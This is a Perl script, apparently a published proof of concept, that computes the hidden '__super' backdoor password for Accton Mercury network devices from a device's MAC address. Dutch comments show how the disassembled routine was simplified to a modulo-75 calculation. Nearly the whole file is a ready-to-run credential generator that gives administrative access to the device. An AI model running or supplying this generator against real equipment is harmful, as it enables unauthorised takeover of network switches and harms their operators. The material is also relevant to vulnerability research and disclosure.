#!/usr/bin/perl -w
use strict;
 
# Accton Mercury "__super" user proof of concept
# Disassembling and first PoC - smite@zylon.net.
# Disassembling and math - psy@datux.nl, gido@datux.nl
 
my $counter;
my $char;
 
my $mac = $ARGV[0];
my @mac;
 
foreach my $octet (split (":", $mac)) {
  push @mac, hex($octet);
}
 
if (!defined $mac[5]) {
    print "Usage: ./accton.pl 00:01:02:03:04:05\n";
    exit 1;
}
 
sub printchar {
    my ($char) = @_;
 
    $char = $char % 0x4b;
 
    if ($char <= 9 || ($char > 0x10 && $char < 0x2a) || $char > 0x30) {
        print pack("c*", $char+0x30);
    } else {
        print "!";
    }
}
 
 
for ($counter=0;$counter<5;$counter++) {
    $char = $mac[$counter];
    $char = $char + $mac[$counter+1];
    printchar($char);
}
 
for ($counter=0;$counter<3;$counter++) {
    $char = $mac[$counter];
    $char = $char + $mac[$counter+1];
    $char = $char +  0xF;
    printchar($char);
}
 
print "\n";
 
# Vereenvoudiging van de loop:
# Was dit:
#     $r11 = ($char * $key) >> 0x23;
#     $r10 = $char >> 0x1F;
#     $r9 = $r11 - $r10;
#     $r11 = $r9 << 2;
#     $r11 = $r11 + $r9;
#     $r9 = $r11 << 4;
#     $r9 = $r9 - $r11;
#     $char = $char - $r9;
#     $char = $char & 0xff;
# Alles substen en bitshifts omrekenen:
# #   $char = $char  - ( (( ( (($char * $key) / 34359738368)  - ($char / 2147483648)) * 4 ) + ((($char * $key) / 34359738368)  - ($char / 2147483648) ) ) * 15) ;
# Vervolgens vereenvoudigen:
# #     $char = $char  - (
# #     (
# #         ( (
# #             (($char * $key) / 34359738368)  - ($char / 2147483648)
# #         ) * 4 )
# #         +
# #         (
# #             (($char * $key) / 34359738368)  - ($char / 2147483648)
# #         )
# #     ) * 15
# #     ) ;
# #     $char = $char  - (
# #     (
# #         ( (
# #             4*( ($char * $key) / 34359738368)  - 4*($char / 2147483648)
# #         ) )
# #         +
# #         (
# #             (($char * $key) / 34359738368)  - ($char / 2147483648)
# #         )
# #     ) * 15
# #     ) ;
# Termen die afgerond altijd 0 zijn vallen weg!
# print "char is $char (max is 510)\n";
# print 510 / 2147483648  ."\n";
# print "\n";
# Dit kun je zien als bitshifts die alle bits naar rechts shiften:
# #     $char = $char  - (
# #     (
# #         ( (
# #             (4* ( $char * $key / 34359738368)  ) 
# #         ) )
# #         +
# #         (
# #             (($char * $key) / 34359738368)  - ($char / 2147483648)
# #         )
# #     ) * 15
# #     ) ;
# #     $char = $char  - (
# #     (
# #         ( (
# #             (4* ( $char * $key / 34359738368)  ) 
# #         ) )
# #         +
# #         (
# #             (($char * $key) / 34359738368)  
# #         )
# #     ) * 15
# #     ) ;
# #     $char = $char  - (
# #     (
# #         ( (
# #             (5* ( $char * $key / 34359738368)  ) 
# #         ) )
# #     ) * 15
# #     ) ;
# #     $char = $char  - (75* ( $char * $key / 34359738368)   )  ;
# # Dit is een shift naar rechts van 35:
# #     $char = $char  - (75* ( $char * $key >> 35)   )  ;
# PWNED! ;)
#
#after printing out all the possible combinations, the only thing left was a modulo function!!!
#double pownage!!
# my $output;
# for ($char=0;$char<=0x1FE;$char++) {
#   $output = $char - (75 * (($char * 0x1B4E81B5 ) >> 35)   )  ;
#  
#   my $cool;
#   $cool = $char % 75 ;
#
#   if ($cool != $output)
#   {  
#       print "$char word $output en is cool $cool\n";
#   }
# }